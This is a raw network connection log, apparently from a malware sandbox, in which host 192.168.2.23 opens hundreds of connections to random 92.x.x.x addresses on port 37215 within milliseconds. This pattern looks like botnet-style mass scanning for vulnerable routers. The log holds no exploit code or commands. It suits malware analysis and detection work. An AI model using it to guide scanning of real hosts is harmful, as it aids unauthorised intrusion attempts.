Feb 20, 2022 15:51:04.899657011 CET	1386	37215	192.168.2.23	92.24.47.173
Feb 20, 2022 15:51:04.899669886 CET	1898	37215	192.168.2.23	92.227.56.99
Feb 20, 2022 15:51:04.899687052 CET	1898	37215	192.168.2.23	92.45.172.88
Feb 20, 2022 15:51:04.899710894 CET	1386	37215	192.168.2.23	92.48.39.109
Feb 20, 2022 15:51:04.899715900 CET	1898	37215	192.168.2.23	92.76.191.26
Feb 20, 2022 15:51:04.899723053 CET	1386	37215	192.168.2.23	92.7.150.175
Feb 20, 2022 15:51:04.899735928 CET	1898	37215	192.168.2.23	92.174.53.120
Feb 20, 2022 15:51:04.899770021 CET	1898	37215	192.168.2.23	92.72.18.193
Feb 20, 2022 15:51:04.899787903 CET	1898	37215	192.168.2.23	92.205.49.38
Feb 20, 2022 15:51:04.899806976 CET	1898	37215	192.168.2.23	92.128.169.37
Feb 20, 2022 15:51:04.899817944 CET	1386	37215	192.168.2.23	92.0.143.185
Feb 20, 2022 15:51:04.899832010 CET	1898	37215	192.168.2.23	92.132.133.119
Feb 20, 2022 15:51:04.899847984 CET	1386	37215	192.168.2.23	92.96.181.176
Feb 20, 2022 15:51:04.899854898 CET	1898	37215	192.168.2.23	92.225.187.22
Feb 20, 2022 15:51:04.899868011 CET	1898	37215	192.168.2.23	92.243.151.48
Feb 20, 2022 15:51:04.899873018 CET	1386	37215	192.168.2.23	92.161.90.109
Feb 20, 2022 15:51:04.899885893 CET	1386	37215	192.168.2.23	92.108.158.241
Feb 20, 2022 15:51:04.899907112 CET	1898	37215	192.168.2.23	92.70.12.84
Feb 20, 2022 15:51:04.899914980 CET	1386	37215	192.168.2.23	92.105.177.80
Feb 20, 2022 15:51:04.899925947 CET	1898	37215	192.168.2.23	92.136.127.201
Feb 20, 2022 15:51:04.899931908 CET	1386	37215	192.168.2.23	92.65.179.15
Feb 20, 2022 15:51:04.899947882 CET	1386	37215	192.168.2.23	92.83.3.213
Feb 20, 2022 15:51:04.899967909 CET	1898	37215	192.168.2.23	92.83.189.111
Feb 20, 2022 15:51:04.899983883 CET	1898	37215	192.168.2.23	92.241.212.231
Feb 20, 2022 15:51:04.899985075 CET	1386	37215	192.168.2.23	92.172.135.27
Feb 20, 2022 15:51:04.900000095 CET	1898	37215	192.168.2.23	92.217.17.5
Feb 20, 2022 15:51:04.900007963 CET	1386	37215	192.168.2.23	92.234.103.196
Feb 20, 2022 15:51:04.900038004 CET	1898	37215	192.168.2.23	92.66.93.66
Feb 20, 2022 15:51:04.900046110 CET	1386	37215	192.168.2.23	92.196.55.41
Feb 20, 2022 15:51:04.900073051 CET	1386	37215	192.168.2.23	92.134.67.108
Feb 20, 2022 15:51:04.900082111 CET	1898	37215	192.168.2.23	92.65.206.242
Feb 20, 2022 15:51:04.900095940 CET	1898	37215	192.168.2.23	92.185.93.82
Feb 20, 2022 15:51:04.900095940 CET	1386	37215	192.168.2.23	92.223.124.71
Feb 20, 2022 15:51:04.900118113 CET	1386	37215	192.168.2.23	92.66.85.249
Feb 20, 2022 15:51:04.900130033 CET	1898	37215	192.168.2.23	92.215.235.70
Feb 20, 2022 15:51:04.900135040 CET	1386	37215	192.168.2.23	92.146.202.97
Feb 20, 2022 15:51:04.900141954 CET	1898	37215	192.168.2.23	92.25.142.210
Feb 20, 2022 15:51:04.900165081 CET	1386	37215	192.168.2.23	92.19.195.42
Feb 20, 2022 15:51:04.900187969 CET	1386	37215	192.168.2.23	92.84.115.153
Feb 20, 2022 15:51:04.900191069 CET	1898	37215	192.168.2.23	92.225.140.130
Feb 20, 2022 15:51:04.900191069 CET	1898	37215	192.168.2.23	92.163.192.76
Feb 20, 2022 15:51:04.900214911 CET	1386	37215	192.168.2.23	92.227.133.74
Feb 20, 2022 15:51:04.900228977 CET	1898	37215	192.168.2.23	92.94.113.255
Feb 20, 2022 15:51:04.900240898 CET	1386	37215	192.168.2.23	92.0.201.57
Feb 20, 2022 15:51:04.900249958 CET	1898	37215	192.168.2.23	92.141.77.103
Feb 20, 2022 15:51:04.900264025 CET	1386	37215	192.168.2.23	92.64.224.100
Feb 20, 2022 15:51:04.900274038 CET	1898	37215	192.168.2.23	92.223.53.142
Feb 20, 2022 15:51:04.900293112 CET	1386	37215	192.168.2.23	92.184.247.237
Feb 20, 2022 15:51:04.900307894 CET	1898	37215	192.168.2.23	92.64.151.122
Feb 20, 2022 15:51:04.900316000 CET	1386	37215	192.168.2.23	92.221.31.70
Feb 20, 2022 15:51:04.900331974 CET	1898	37215	192.168.2.23	92.72.49.186
Feb 20, 2022 15:51:04.900351048 CET	1386	37215	192.168.2.23	92.58.4.244
Feb 20, 2022 15:51:04.900363922 CET	1898	37215	192.168.2.23	92.12.148.250
Feb 20, 2022 15:51:04.900367975 CET	1898	37215	192.168.2.23	92.195.61.178
Feb 20, 2022 15:51:04.900377989 CET	1386	37215	192.168.2.23	92.190.243.166
Feb 20, 2022 15:51:04.900396109 CET	1898	37215	192.168.2.23	92.46.212.226
Feb 20, 2022 15:51:04.900409937 CET	1386	37215	192.168.2.23	92.15.161.233
Feb 20, 2022 15:51:04.900418997 CET	1898	37215	192.168.2.23	92.12.100.237
Feb 20, 2022 15:51:04.900430918 CET	1386	37215	192.168.2.23	92.126.39.56
Feb 20, 2022 15:51:04.900454044 CET	1898	37215	192.168.2.23	92.27.159.251
Feb 20, 2022 15:51:04.900465012 CET	1386	37215	192.168.2.23	92.178.49.252
Feb 20, 2022 15:51:04.900475025 CET	1898	37215	192.168.2.23	92.11.242.125
Feb 20, 2022 15:51:04.900492907 CET	1898	37215	192.168.2.23	92.151.131.10
Feb 20, 2022 15:51:04.900505066 CET	1386	37215	192.168.2.23	92.55.153.27
Feb 20, 2022 15:51:04.900532961 CET	1898	37215	192.168.2.23	92.213.255.191
Feb 20, 2022 15:51:04.900554895 CET	1386	37215	192.168.2.23	92.27.107.42
Feb 20, 2022 15:51:04.900557041 CET	1898	37215	192.168.2.23	92.60.179.153
Feb 20, 2022 15:51:04.900562048 CET	1386	37215	192.168.2.23	92.157.202.145
Feb 20, 2022 15:51:04.900577068 CET	1386	37215	192.168.2.23	92.152.109.83
Feb 20, 2022 15:51:04.900584936 CET	1898	37215	192.168.2.23	92.91.62.106
Feb 20, 2022 15:51:04.900600910 CET	1898	37215	192.168.2.23	92.40.3.54
Feb 20, 2022 15:51:04.900608063 CET	1386	37215	192.168.2.23	92.17.230.30
Feb 20, 2022 15:51:04.900623083 CET	1898	37215	192.168.2.23	92.59.157.241
Feb 20, 2022 15:51:04.900624990 CET	1386	37215	192.168.2.23	92.85.249.81
Feb 20, 2022 15:51:04.900656939 CET	1898	37215	192.168.2.23	92.201.26.75
Feb 20, 2022 15:51:04.900660992 CET	1386	37215	192.168.2.23	92.241.129.155
Feb 20, 2022 15:51:04.900684118 CET	1898	37215	192.168.2.23	92.170.202.62
Feb 20, 2022 15:51:04.900695086 CET	1898	37215	192.168.2.23	92.137.23.77
Feb 20, 2022 15:51:04.900696039 CET	1386	37215	192.168.2.23	92.3.191.1
Feb 20, 2022 15:51:04.900719881 CET	1386	37215	192.168.2.23	92.53.95.33
Feb 20, 2022 15:51:04.900736094 CET	1898	37215	192.168.2.23	92.62.174.162
Feb 20, 2022 15:51:04.900762081 CET	1386	37215	192.168.2.23	92.188.166.216
Feb 20, 2022 15:51:04.900773048 CET	1386	37215	192.168.2.23	92.239.50.173
Feb 20, 2022 15:51:04.900775909 CET	1898	37215	192.168.2.23	92.252.206.83
Feb 20, 2022 15:51:04.900791883 CET	1898	37215	192.168.2.23	92.107.209.188
Feb 20, 2022 15:51:04.900804043 CET	1386	37215	192.168.2.23	92.255.225.178
Feb 20, 2022 15:51:04.900818110 CET	1386	37215	192.168.2.23	92.218.204.21
Feb 20, 2022 15:51:04.900820971 CET	1898	37215	192.168.2.23	92.28.110.10
Feb 20, 2022 15:51:04.900840044 CET	1386	37215	192.168.2.23	92.163.95.167
Feb 20, 2022 15:51:04.900866985 CET	1386	37215	192.168.2.23	92.130.208.48
Feb 20, 2022 15:51:04.900880098 CET	1898	37215	192.168.2.23	92.250.180.244
Feb 20, 2022 15:51:04.900882006 CET	1898	37215	192.168.2.23	92.4.53.157
Feb 20, 2022 15:51:04.900887012 CET	1898	37215	192.168.2.23	92.228.179.20
Feb 20, 2022 15:51:04.900892019 CET	1386	37215	192.168.2.23	92.253.67.161
Feb 20, 2022 15:51:04.900913954 CET	1898	37215	192.168.2.23	92.30.7.232
Feb 20, 2022 15:51:04.900922060 CET	1386	37215	192.168.2.23	92.114.84.136
Feb 20, 2022 15:51:04.900939941 CET	1898	37215	192.168.2.23	92.18.123.234
Feb 20, 2022 15:51:04.900940895 CET	1386	37215	192.168.2.23	92.21.162.35
Feb 20, 2022 15:51:04.900958061 CET	1386	37215	192.168.2.23	92.39.104.41
Feb 20, 2022 15:51:04.900979042 CET	1898	37215	192.168.2.23	92.35.239.33
Feb 20, 2022 15:51:04.901004076 CET	1386	37215	192.168.2.23	92.39.3.27
Feb 20, 2022 15:51:04.901011944 CET	1898	37215	192.168.2.23	92.204.225.116
Feb 20, 2022 15:51:04.901024103 CET	1386	37215	192.168.2.23	92.210.139.71
Feb 20, 2022 15:51:04.901027918 CET	1898	37215	192.168.2.23	92.128.80.144
Feb 20, 2022 15:51:04.901029110 CET	1386	37215	192.168.2.23	92.157.153.143
Feb 20, 2022 15:51:04.901041985 CET	1898	37215	192.168.2.23	92.130.186.113
Feb 20, 2022 15:51:04.901070118 CET	1386	37215	192.168.2.23	92.225.28.26
Feb 20, 2022 15:51:04.901086092 CET	1386	37215	192.168.2.23	92.20.67.244
Feb 20, 2022 15:51:04.901109934 CET	1386	37215	192.168.2.23	92.26.131.229
Feb 20, 2022 15:51:04.901117086 CET	1898	37215	192.168.2.23	92.86.218.110
Feb 20, 2022 15:51:04.901153088 CET	1386	37215	192.168.2.23	92.157.246.50
Feb 20, 2022 15:51:04.901174068 CET	1386	37215	192.168.2.23	92.90.218.134
Feb 20, 2022 15:51:04.901190042 CET	1386	37215	192.168.2.23	92.154.224.10
Feb 20, 2022 15:51:04.901218891 CET	1386	37215	192.168.2.23	92.242.50.141
Feb 20, 2022 15:51:04.901240110 CET	1386	37215	192.168.2.23	92.239.120.209
Feb 20, 2022 15:51:04.901267052 CET	1386	37215	192.168.2.23	92.2.155.123
Feb 20, 2022 15:51:04.901292086 CET	1386	37215	192.168.2.23	92.156.85.151
Feb 20, 2022 15:51:04.901307106 CET	1386	37215	192.168.2.23	92.48.19.94
Feb 20, 2022 15:51:04.901328087 CET	1386	37215	192.168.2.23	92.36.218.215
Feb 20, 2022 15:51:04.901384115 CET	1386	37215	192.168.2.23	92.54.224.5
Feb 20, 2022 15:51:04.901406050 CET	1386	37215	192.168.2.23	92.169.196.115
Feb 20, 2022 15:51:04.901407003 CET	1386	37215	192.168.2.23	92.175.233.31
Feb 20, 2022 15:51:04.901429892 CET	1386	37215	192.168.2.23	92.24.113.238
Feb 20, 2022 15:51:04.901464939 CET	1386	37215	192.168.2.23	92.39.232.123
Feb 20, 2022 15:51:04.901479006 CET	1386	37215	192.168.2.23	92.185.160.227
Feb 20, 2022 15:51:04.901511908 CET	1386	37215	192.168.2.23	92.236.116.135
Feb 20, 2022 15:51:04.901515007 CET	1386	37215	192.168.2.23	92.230.117.66
Feb 20, 2022 15:51:04.901544094 CET	1386	37215	192.168.2.23	92.95.54.49
Feb 20, 2022 15:51:04.901560068 CET	1386	37215	192.168.2.23	92.48.193.147
Feb 20, 2022 15:51:04.901607990 CET	1386	37215	192.168.2.23	92.65.36.29
Feb 20, 2022 15:51:04.901628971 CET	1386	37215	192.168.2.23	92.88.69.151
Feb 20, 2022 15:51:04.901631117 CET	1386	37215	192.168.2.23	92.29.115.108
Feb 20, 2022 15:51:04.901653051 CET	1386	37215	192.168.2.23	92.58.173.34
Feb 20, 2022 15:51:04.901690960 CET	1386	37215	192.168.2.23	92.7.227.148
Feb 20, 2022 15:51:04.901711941 CET	1386	37215	192.168.2.23	92.193.21.252
Feb 20, 2022 15:51:04.901726007 CET	1386	37215	192.168.2.23	92.22.98.118
Feb 20, 2022 15:51:04.901756048 CET	1386	37215	192.168.2.23	92.60.163.169
Feb 20, 2022 15:51:04.901778936 CET	1386	37215	192.168.2.23	92.187.156.144
Feb 20, 2022 15:51:04.901797056 CET	1386	37215	192.168.2.23	92.252.226.153
Feb 20, 2022 15:51:04.901814938 CET	1386	37215	192.168.2.23	92.195.0.80
Feb 20, 2022 15:51:04.901844025 CET	1386	37215	192.168.2.23	92.119.72.114
Feb 20, 2022 15:51:04.901871920 CET	1386	37215	192.168.2.23	92.142.219.158
Feb 20, 2022 15:51:04.901905060 CET	1386	37215	192.168.2.23	92.226.181.70
Feb 20, 2022 15:51:04.901922941 CET	1386	37215	192.168.2.23	92.220.13.70
Feb 20, 2022 15:51:04.901953936 CET	1386	37215	192.168.2.23	92.58.125.75
Feb 20, 2022 15:51:04.901988029 CET	1386	37215	192.168.2.23	92.109.55.103
Feb 20, 2022 15:51:04.902014017 CET	1386	37215	192.168.2.23	92.241.109.215
Feb 20, 2022 15:51:04.902035952 CET	1386	37215	192.168.2.23	92.222.232.206
Feb 20, 2022 15:51:04.902050018 CET	1386	37215	192.168.2.23	92.48.245.24
Feb 20, 2022 15:51:04.902076960 CET	1386	37215	192.168.2.23	92.52.50.226
Feb 20, 2022 15:51:04.902103901 CET	1386	37215	192.168.2.23	92.104.184.136
Feb 20, 2022 15:51:04.902128935 CET	1386	37215	192.168.2.23	92.28.58.170
Feb 20, 2022 15:51:04.902152061 CET	1386	37215	192.168.2.23	92.80.189.0
Feb 20, 2022 15:51:04.902173042 CET	1386	37215	192.168.2.23	92.181.74.87
Feb 20, 2022 15:51:04.902189970 CET	1386	37215	192.168.2.23	92.21.102.141
Feb 20, 2022 15:51:04.902218103 CET	1386	37215	192.168.2.23	92.113.103.236
Feb 20, 2022 15:51:04.902250051 CET	1386	37215	192.168.2.23	92.220.236.134
Feb 20, 2022 15:51:04.902271032 CET	1386	37215	192.168.2.23	92.48.159.161
Feb 20, 2022 15:51:04.902296066 CET	1386	37215	192.168.2.23	92.67.236.149
Feb 20, 2022 15:51:04.902314901 CET	1386	37215	192.168.2.23	92.94.2.151
Feb 20, 2022 15:51:04.902332067 CET	1386	37215	192.168.2.23	92.64.27.32
Feb 20, 2022 15:51:04.902354002 CET	1386	37215	192.168.2.23	92.65.75.91
Feb 20, 2022 15:51:04.902410984 CET	1386	37215	192.168.2.23	92.42.252.144
Feb 20, 2022 15:51:04.902434111 CET	1386	37215	192.168.2.23	92.242.57.112
Feb 20, 2022 15:51:04.902456045 CET	1386	37215	192.168.2.23	92.137.41.119
Feb 20, 2022 15:51:04.902479887 CET	1386	37215	192.168.2.23	92.133.15.180
Feb 20, 2022 15:51:04.902482986 CET	1386	37215	192.168.2.23	92.165.159.225
Feb 20, 2022 15:51:04.902493954 CET	1386	37215	192.168.2.23	92.118.104.119
Feb 20, 2022 15:51:04.902522087 CET	1386	37215	192.168.2.23	92.170.50.123
Feb 20, 2022 15:51:04.902549982 CET	1386	37215	192.168.2.23	92.104.204.133
Feb 20, 2022 15:51:04.902570009 CET	1386	37215	192.168.2.23	92.137.81.194
Feb 20, 2022 15:51:04.902597904 CET	1386	37215	192.168.2.23	92.180.174.190
Feb 20, 2022 15:51:04.902627945 CET	1386	37215	192.168.2.23	92.3.195.57
Feb 20, 2022 15:51:04.902648926 CET	1386	37215	192.168.2.23	92.88.163.162
Feb 20, 2022 15:51:04.902677059 CET	1386	37215	192.168.2.23	92.131.53.115
Feb 20, 2022 15:51:04.902698040 CET	1386	37215	192.168.2.23	92.143.170.156
Feb 20, 2022 15:51:04.902739048 CET	1386	37215	192.168.2.23	92.202.181.65
Feb 20, 2022 15:51:04.902757883 CET	1386	37215	192.168.2.23	92.80.49.5
Feb 20, 2022 15:51:04.902775049 CET	1386	37215	192.168.2.23	92.156.99.106
Feb 20, 2022 15:51:04.902796984 CET	1386	37215	192.168.2.23	92.132.194.85
Feb 20, 2022 15:51:04.902828932 CET	1386	37215	192.168.2.23	92.80.141.208
Feb 20, 2022 15:51:04.902853012 CET	1386	37215	192.168.2.23	92.8.91.155
Feb 20, 2022 15:51:04.902890921 CET	1386	37215	192.168.2.23	92.46.42.83
Feb 20, 2022 15:51:04.902892113 CET	1386	37215	192.168.2.23	92.240.253.60
Feb 20, 2022 15:51:04.902944088 CET	1386	37215	192.168.2.23	92.14.137.46
Feb 20, 2022 15:51:04.902951002 CET	1386	37215	192.168.2.23	92.93.117.183
Feb 20, 2022 15:51:04.902966022 CET	1386	37215	192.168.2.23	92.87.33.108
Feb 20, 2022 15:51:04.902982950 CET	1386	37215	192.168.2.23	92.55.227.192
Feb 20, 2022 15:51:04.903011084 CET	1386	37215	192.168.2.23	92.11.87.105
Feb 20, 2022 15:51:04.903023958 CET	1386	37215	192.168.2.23	92.1.147.108
Feb 20, 2022 15:51:04.903053045 CET	1386	37215	192.168.2.23	92.100.137.197
Feb 20, 2022 15:51:04.903080940 CET	1386	37215	192.168.2.23	92.213.21.61
Feb 20, 2022 15:51:04.903109074 CET	1386	37215	192.168.2.23	92.4.222.60
Feb 20, 2022 15:51:04.903120995 CET	1386	37215	192.168.2.23	92.162.224.148
Feb 20, 2022 15:51:04.903136969 CET	1386	37215	192.168.2.23	92.81.174.37
Feb 20, 2022 15:51:04.903166056 CET	1386	37215	192.168.2.23	92.44.225.209
Feb 20, 2022 15:51:04.903184891 CET	1386	37215	192.168.2.23	92.80.241.163
Feb 20, 2022 15:51:04.903223038 CET	1386	37215	192.168.2.23	92.55.158.41
Feb 20, 2022 15:51:04.903266907 CET	1386	37215	192.168.2.23	92.74.253.200
Feb 20, 2022 15:51:04.903269053 CET	1386	37215	192.168.2.23	92.158.169.194
Feb 20, 2022 15:51:04.903290033 CET	1386	37215	192.168.2.23	92.53.114.54
Feb 20, 2022 15:51:04.903311014 CET	1386	37215	192.168.2.23	92.174.247.6
Feb 20, 2022 15:51:04.903331995 CET	1386	37215	192.168.2.23	92.92.75.90
Feb 20, 2022 15:51:04.903364897 CET	1386	37215	192.168.2.23	92.62.152.124
Feb 20, 2022 15:51:04.903388977 CET	1386	37215	192.168.2.23	92.132.41.22
Feb 20, 2022 15:51:04.903408051 CET	1386	37215	192.168.2.23	92.208.133.83
Feb 20, 2022 15:51:04.903431892 CET	1386	37215	192.168.2.23	92.126.221.48
Feb 20, 2022 15:51:04.903460979 CET	1386	37215	192.168.2.23	92.36.0.17
Feb 20, 2022 15:51:04.903481960 CET	1386	37215	192.168.2.23	92.113.211.252
Feb 20, 2022 15:51:04.903510094 CET	1386	37215	192.168.2.23	92.205.18.116
Feb 20, 2022 15:51:04.903548956 CET	1386	37215	192.168.2.23	92.33.49.61
Feb 20, 2022 15:51:04.903551102 CET	1386	37215	192.168.2.23	92.69.212.186
Feb 20, 2022 15:51:04.903578997 CET	1386	37215	192.168.2.23	92.238.39.5
Feb 20, 2022 15:51:04.903601885 CET	1386	37215	192.168.2.23	92.54.62.31
Feb 20, 2022 15:51:04.903629065 CET	1386	37215	192.168.2.23	92.82.223.232
Feb 20, 2022 15:51:04.903645039 CET	1386	37215	192.168.2.23	92.45.75.208
Feb 20, 2022 15:51:04.903665066 CET	1386	37215	192.168.2.23	92.46.236.159
Feb 20, 2022 15:51:04.903688908 CET	1386	37215	192.168.2.23	92.133.88.107
Feb 20, 2022 15:51:04.903718948 CET	1386	37215	192.168.2.23	92.138.24.136
Feb 20, 2022 15:51:04.903759956 CET	1386	37215	192.168.2.23	92.45.184.75
Feb 20, 2022 15:51:04.903784037 CET	1386	37215	192.168.2.23	92.55.214.159
Feb 20, 2022 15:51:04.903795004 CET	1386	37215	192.168.2.23	92.41.209.252
Feb 20, 2022 15:51:04.903820038 CET	1386	37215	192.168.2.23	92.167.248.139
Feb 20, 2022 15:51:04.903846979 CET	1386	37215	192.168.2.23	92.108.224.206
Feb 20, 2022 15:51:04.903861046 CET	1386	37215	192.168.2.23	92.9.160.234
Feb 20, 2022 15:51:04.903884888 CET	1386	37215	192.168.2.23	92.23.166.206
Feb 20, 2022 15:51:04.903911114 CET	1386	37215	192.168.2.23	92.125.76.247
Feb 20, 2022 15:51:04.903942108 CET	1386	37215	192.168.2.23	92.59.3.81
Feb 20, 2022 15:51:04.903959036 CET	1386	37215	192.168.2.23	92.248.41.151
Feb 20, 2022 15:51:04.903973103 CET	1386	37215	192.168.2.23	92.148.208.80
Feb 20, 2022 15:51:04.903999090 CET	1386	37215	192.168.2.23	92.120.250.102
Feb 20, 2022 15:51:04.904027939 CET	1386	37215	192.168.2.23	92.167.167.159
Feb 20, 2022 15:51:04.904046059 CET	1386	37215	192.168.2.23	92.143.183.245
Feb 20, 2022 15:51:04.904073000 CET	1386	37215	192.168.2.23	92.25.143.28
Feb 20, 2022 15:51:04.904093027 CET	1386	37215	192.168.2.23	92.115.92.199
Feb 20, 2022 15:51:04.904123068 CET	1386	37215	192.168.2.23	92.161.17.186
Feb 20, 2022 15:51:04.904141903 CET	1386	37215	192.168.2.23	92.111.166.249
Feb 20, 2022 15:51:04.904175043 CET	1386	37215	192.168.2.23	92.210.149.131
Feb 20, 2022 15:51:04.904185057 CET	1386	37215	192.168.2.23	92.26.242.133
Feb 20, 2022 15:51:04.904206038 CET	1386	37215	192.168.2.23	92.90.47.203
Feb 20, 2022 15:51:04.904220104 CET	1386	37215	192.168.2.23	92.181.144.180
Feb 20, 2022 15:51:04.904243946 CET	1386	37215	192.168.2.23	92.147.139.201
Feb 20, 2022 15:51:04.904266119 CET	1386	37215	192.168.2.23	92.188.241.83
Feb 20, 2022 15:51:04.904294968 CET	1386	37215	192.168.2.23	92.41.169.174
Feb 20, 2022 15:51:04.904319048 CET	1386	37215	192.168.2.23	92.251.82.194
Feb 20, 2022 15:51:04.904344082 CET	1386	37215	192.168.2.23	92.122.138.100
Feb 20, 2022 15:51:04.904365063 CET	1386	37215	192.168.2.23	92.47.87.228
Feb 20, 2022 15:51:04.904381990 CET	1386	37215	192.168.2.23	92.224.2.58
Feb 20, 2022 15:51:04.904409885 CET	1386	37215	192.168.2.23	92.5.77.185
Feb 20, 2022 15:51:04.904433012 CET	1386	37215	192.168.2.23	92.235.48.253
Feb 20, 2022 15:51:04.904453039 CET	1386	37215	192.168.2.23	92.35.170.48
Feb 20, 2022 15:51:04.904473066 CET	1386	37215	192.168.2.23	92.18.16.94
Feb 20, 2022 15:51:04.904511929 CET	1386	37215	192.168.2.23	92.63.247.26
Feb 20, 2022 15:51:04.904520035 CET	1386	37215	192.168.2.23	92.248.112.195
Feb 20, 2022 15:51:04.904548883 CET	1386	37215	192.168.2.23	92.105.108.35
Feb 20, 2022 15:51:04.904570103 CET	1386	37215	192.168.2.23	92.187.21.44
Feb 20, 2022 15:51:04.904611111 CET	1386	37215	192.168.2.23	92.57.186.201
Feb 20, 2022 15:51:04.904613018 CET	1386	37215	192.168.2.23	92.163.71.7
Feb 20, 2022 15:51:04.904638052 CET	1386	37215	192.168.2.23	92.232.163.107
Feb 20, 2022 15:51:04.904650927 CET	1386	37215	192.168.2.23	92.39.126.148
Feb 20, 2022 15:51:04.904670954 CET	1386	37215	192.168.2.23	92.49.116.202
Feb 20, 2022 15:51:04.904705048 CET	1386	37215	192.168.2.23	92.238.15.201
Feb 20, 2022 15:51:04.904716015 CET	1386	37215	192.168.2.23	92.27.117.46
Feb 20, 2022 15:51:04.904741049 CET	1386	37215	192.168.2.23	92.242.13.66
Feb 20, 2022 15:51:04.904766083 CET	1386	37215	192.168.2.23	92.221.227.164
Feb 20, 2022 15:51:04.904793978 CET	1386	37215	192.168.2.23	92.93.107.73
Feb 20, 2022 15:51:04.904822111 CET	1386	37215	192.168.2.23	92.92.9.132
Feb 20, 2022 15:51:04.904881001 CET	1386	37215	192.168.2.23	92.108.1.30
Feb 20, 2022 15:51:04.904895067 CET	1386	37215	192.168.2.23	92.143.27.149
Feb 20, 2022 15:51:04.904917002 CET	1386	37215	192.168.2.23	92.159.117.88
Feb 20, 2022 15:51:04.904922962 CET	1386	37215	192.168.2.23	92.223.12.62
Feb 20, 2022 15:51:04.904942036 CET	1386	37215	192.168.2.23	92.194.51.119
Feb 20, 2022 15:51:04.904968023 CET	1386	37215	192.168.2.23	92.205.148.243
Feb 20, 2022 15:51:04.904999018 CET	1386	37215	192.168.2.23	92.13.122.200
Feb 20, 2022 15:51:04.905025005 CET	1386	37215	192.168.2.23	92.249.44.229
Feb 20, 2022 15:51:04.905045033 CET	1386	37215	192.168.2.23	92.95.183.73
Feb 20, 2022 15:51:04.905081987 CET	1386	37215	192.168.2.23	92.0.252.65
Feb 20, 2022 15:51:04.905100107 CET	1386	37215	192.168.2.23	92.109.151.21
Feb 20, 2022 15:51:04.905123949 CET	1386	37215	192.168.2.23	92.78.47.153
Feb 20, 2022 15:51:04.905158997 CET	1386	37215	192.168.2.23	92.95.36.136
Feb 20, 2022 15:51:04.905211926 CET	1386	37215	192.168.2.23	92.81.175.211
Feb 20, 2022 15:51:04.905219078 CET	1386	37215	192.168.2.23	92.75.44.247
Feb 20, 2022 15:51:04.905230045 CET	1386	37215	192.168.2.23	92.38.41.253
Feb 20, 2022 15:51:04.905241013 CET	1386	37215	192.168.2.23	92.74.137.239
Feb 20, 2022 15:51:04.905266047 CET	1386	37215	192.168.2.23	92.125.177.60
Feb 20, 2022 15:51:04.905280113 CET	1386	37215	192.168.2.23	92.66.35.250
Feb 20, 2022 15:51:04.905304909 CET	1386	37215	192.168.2.23	92.223.141.110
Feb 20, 2022 15:51:04.905352116 CET	1386	37215	192.168.2.23	92.126.167.206
Feb 20, 2022 15:51:04.905375004 CET	1386	37215	192.168.2.23	92.31.23.152
Feb 20, 2022 15:51:04.905375004 CET	1386	37215	192.168.2.23	92.255.117.50
Feb 20, 2022 15:51:04.905386925 CET	1386	37215	192.168.2.23	92.105.23.62
Feb 20, 2022 15:51:04.905427933 CET	1386	37215	192.168.2.23	92.117.11.51
Feb 20, 2022 15:51:04.905458927 CET	1386	37215	192.168.2.23	92.15.13.243
Feb 20, 2022 15:51:04.905479908 CET	1386	37215	192.168.2.23	92.131.142.176
Feb 20, 2022 15:51:04.905492067 CET	1386	37215	192.168.2.23	92.2.197.195
Feb 20, 2022 15:51:04.905523062 CET	1386	37215	192.168.2.23	92.138.147.230
Feb 20, 2022 15:51:04.905545950 CET	1386	37215	192.168.2.23	92.221.221.30
Feb 20, 2022 15:51:04.905564070 CET	1386	37215	192.168.2.23	92.244.213.115
Feb 20, 2022 15:51:04.905586004 CET	1386	37215	192.168.2.23	92.133.251.72
Feb 20, 2022 15:51:04.905622005 CET	1386	37215	192.168.2.23	92.1.183.253
Feb 20, 2022 15:51:04.905643940 CET	1386	37215	192.168.2.23	92.46.83.16
Feb 20, 2022 15:51:04.905685902 CET	1386	37215	192.168.2.23	92.145.4.159
Feb 20, 2022 15:51:04.905688047 CET	1386	37215	192.168.2.23	92.184.93.21
Feb 20, 2022 15:51:04.905711889 CET	1386	37215	192.168.2.23	92.11.93.182
Feb 20, 2022 15:51:04.905736923 CET	1386	37215	192.168.2.23	92.238.91.79
Feb 20, 2022 15:51:04.905766964 CET	1386	37215	192.168.2.23	92.245.78.118
Feb 20, 2022 15:51:04.905781984 CET	1386	37215	192.168.2.23	92.211.224.189
Feb 20, 2022 15:51:04.905806065 CET	1386	37215	192.168.2.23	92.162.101.26
Feb 20, 2022 15:51:04.905819893 CET	1386	37215	192.168.2.23	92.201.146.112
Feb 20, 2022 15:51:04.905874968 CET	1386	37215	192.168.2.23	92.160.136.122
Feb 20, 2022 15:51:04.905878067 CET	1386	37215	192.168.2.23	92.164.248.252
Feb 20, 2022 15:51:04.905908108 CET	1386	37215	192.168.2.23	92.58.107.244
Feb 20, 2022 15:51:04.905932903 CET	1386	37215	192.168.2.23	92.19.21.252
Feb 20, 2022 15:51:04.905966997 CET	1386	37215	192.168.2.23	92.245.42.73
Feb 20, 2022 15:51:04.906007051 CET	1386	37215	192.168.2.23	92.136.89.127
Feb 20, 2022 15:51:04.906025887 CET	1386	37215	192.168.2.23	92.28.59.124
Feb 20, 2022 15:51:04.906053066 CET	1386	37215	192.168.2.23	92.132.33.248
Feb 20, 2022 15:51:04.906065941 CET	1386	37215	192.168.2.23	92.162.221.26
Feb 20, 2022 15:51:04.906117916 CET	1386	37215	192.168.2.23	92.188.87.220
Feb 20, 2022 15:51:04.906141996 CET	1386	37215	192.168.2.23	92.210.116.148
Feb 20, 2022 15:51:04.906158924 CET	1386	37215	192.168.2.23	92.43.157.195
Feb 20, 2022 15:51:04.906187057 CET	1386	37215	192.168.2.23	92.12.221.221
Feb 20, 2022 15:51:04.906217098 CET	1386	37215	192.168.2.23	92.166.229.39
Feb 20, 2022 15:51:04.906240940 CET	1386	37215	192.168.2.23	92.175.233.135
Feb 20, 2022 15:51:04.906256914 CET	1386	37215	192.168.2.23	92.155.239.193
Feb 20, 2022 15:51:04.906286001 CET	1386	37215	192.168.2.23	92.171.237.131
Feb 20, 2022 15:51:04.906321049 CET	1386	37215	192.168.2.23	92.112.97.87
Feb 20, 2022 15:51:04.906339884 CET	1386	37215	192.168.2.23	92.97.213.82
Feb 20, 2022 15:51:04.906364918 CET	1386	37215	192.168.2.23	92.66.8.191
Feb 20, 2022 15:51:04.906377077 CET	1386	37215	192.168.2.23	92.31.233.167
Feb 20, 2022 15:51:04.906398058 CET	1386	37215	192.168.2.23	92.28.52.105
Feb 20, 2022 15:51:04.906424046 CET	1386	37215	192.168.2.23	92.164.201.249
Feb 20, 2022 15:51:04.906456947 CET	1386	37215	192.168.2.23	92.146.189.48
